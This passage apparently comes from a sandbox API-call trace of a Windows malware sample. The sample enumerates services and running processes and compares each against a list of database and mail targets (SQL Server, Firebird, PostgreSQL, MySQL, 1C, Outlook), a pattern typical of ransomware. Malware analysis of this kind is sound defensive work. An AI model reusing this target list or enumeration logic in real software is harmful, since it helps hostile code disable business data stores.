lpString2="gpsvc") returned 1 [0035.755] lstrlenW (lpString="iphlpsvc") returned 8 [0035.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0035.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0035.755] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0035.755] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0035.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0035.755] lstrlenW (lpString="LanmanServer") returned 12 [0035.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0035.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0035.755] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0035.755] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0035.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0035.755] lstrlenW (lpString="LanmanWorkstation") returned 17 [0035.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0035.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0035.755] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0035.755] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0035.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0035.755] lstrlenW (lpString="lmhosts") returned 7 [0035.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0035.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0035.756] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0035.756] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0035.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0035.756] lstrlenW (lpString="MMCSS") returned 5 [0035.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0035.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0035.756] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0035.756] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0035.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0035.756] lstrlenW (lpString="MpsSvc") returned 6 [0035.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0035.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0035.756] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0035.756] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0035.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0035.756] lstrlenW (lpString="Netman") returned 6 [0035.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0035.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0035.756] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0035.756] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0035.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0035.756] lstrlenW (lpString="netprofm") returned 8 [0035.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0035.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0035.756] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0035.756] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0035.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0035.756] lstrlenW (lpString="NlaSvc") returned 6 [0035.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0035.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0035.756] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0035.756] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0035.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0035.756] lstrlenW (lpString="nsi") returned 3 [0035.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0035.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0035.757] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0035.757] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0035.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0035.757] lstrlenW (lpString="PcaSvc") returned 6 [0035.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0035.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0035.757] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0035.757] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0035.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0035.757] lstrlenW (lpString="PlugPlay") returned 8 [0035.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0035.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0035.757] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0035.757] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0035.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0035.757] lstrlenW (lpString="Power") returned 5 [0035.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0035.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0035.757] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0035.757] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0035.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0035.757] lstrlenW (lpString="ProfSvc") returned 7 [0035.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0035.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0035.757] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0035.757] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0035.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0035.757] lstrlenW (lpString="RpcEptMapper") returned 12 [0035.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0035.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0035.757] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0035.757] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0035.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0035.757] lstrlenW (lpString="RpcSs") returned 5 [0035.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0035.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0035.758] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0035.758] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0035.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0035.758] lstrlenW (lpString="SamSs") returned 5 [0035.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0035.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0035.758] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0035.758] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0035.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0035.758] lstrlenW (lpString="Schedule") returned 8 [0035.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0035.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0035.758] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0035.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0035.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0035.758] lstrlenW (lpString="SENS") returned 4 [0035.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0035.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0035.758] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0035.758] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0035.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0035.758] lstrlenW (lpString="ShellHWDetection") returned 16 [0035.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0035.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0035.758] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0035.758] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0035.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0035.758] lstrlenW (lpString="Spooler") returned 7 [0035.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0035.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0035.758] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0035.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0035.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0035.758] lstrlenW (lpString="SysMain") returned 7 [0035.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0035.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0035.759] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0035.759] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0035.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0035.759] lstrlenW (lpString="Themes") returned 6 [0035.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0035.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0035.759] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0035.759] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0035.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0035.759] lstrlenW (lpString="TrkWks") returned 6 [0035.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0035.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0035.759] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0035.759] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0035.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0035.759] lstrlenW (lpString="UxSms") returned 5 [0035.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0035.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0035.759] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0035.759] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0035.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0035.759] lstrlenW (lpString="WdiServiceHost") returned 14 [0035.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0035.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0035.759] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0035.759] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0035.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0035.760] lstrlenW (lpString="WdiSystemHost") returned 13 [0035.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0035.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0035.760] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0035.760] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0035.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0035.760] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0035.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0035.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0035.760] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0035.760] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0035.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0035.760] lstrlenW (lpString="Winmgmt") returned 7 [0035.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0035.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0035.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0035.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0035.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0035.760] lstrlenW (lpString="WPDBusEnum") returned 10 [0035.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0035.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0035.760] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0035.760] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0035.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0035.760] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3295aa0 | out: hHeap=0x790000) returned 1 [0035.760] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0035.765] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0035.765] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0035.766] lstrlenW (lpString="System") returned 6 [0035.766] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0035.766] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0035.766] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0035.766] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0035.766] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0035.766] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0035.766] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0035.766] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0035.766] lstrlenW (lpString="smss.exe") returned 8 [0035.766] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0035.766] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0035.766] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0035.766] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0035.766] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0035.766] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0035.766] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0035.766] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0035.767] lstrlenW (lpString="csrss.exe") returned 9 [0035.767] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0035.767] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0035.767] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0035.767] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0035.767] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0035.767] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0035.767] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0035.767] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0035.767] lstrlenW (lpString="wininit.exe") returned 11 [0035.767] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0035.767] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0035.767] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0035.767] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0035.767] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0035.767] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0035.767] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0035.767] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0035.767] lstrlenW (lpString="csrss.exe") returned 9 [0035.767] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0035.767] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0035.767] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0035.768] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0035.768] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0035.768] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0035.768] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0035.768] lstrlenW (lpString="winlogon.exe") returned 12 [0035.768] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0035.768] lstrlenW (lpString="services.exe") returned 12 [0035.768] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0035.769] lstrlenW (lpString="lsass.exe") returned 9 [0035.769] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0035.769] lstrlenW (lpString="lsm.exe") returned 7 [0035.769] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.769] lstrlenW (lpString="svchost.exe") returned 11 [0035.769] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.769] lstrlenW (lpString="svchost.exe") returned 11 [0035.769] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.770] lstrlenW (lpString="svchost.exe") returned 11 [0035.770] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.770] lstrlenW (lpString="svchost.exe") returned 11 [0035.770] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.770] lstrlenW (lpString="svchost.exe") returned 11 [0035.770] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0035.770] lstrlenW (lpString="audiodg.exe") returned 11 [0035.771] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.771] lstrlenW (lpString="svchost.exe") returned 11 [0035.771] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.771] lstrlenW (lpString="svchost.exe") returned 11 [0035.771] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0035.771] lstrlenW (lpString="dwm.exe") returned 7 [0035.771] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0035.772] lstrlenW (lpString="explorer.exe") returned 12 [0035.772] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0035.772] lstrlenW (lpString="spoolsv.exe") returned 11 [0035.772] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0035.772] lstrlenW (lpString="taskhost.exe") returned 12 [0035.772] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.772] lstrlenW (lpString="svchost.exe") returned 11 [0035.772] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0035.773] lstrlenW (lpString="taskeng.exe") returned 11 [0035.773] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0035.773] lstrlenW (lpString="taskhost.exe") returned 12 [0035.773] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, 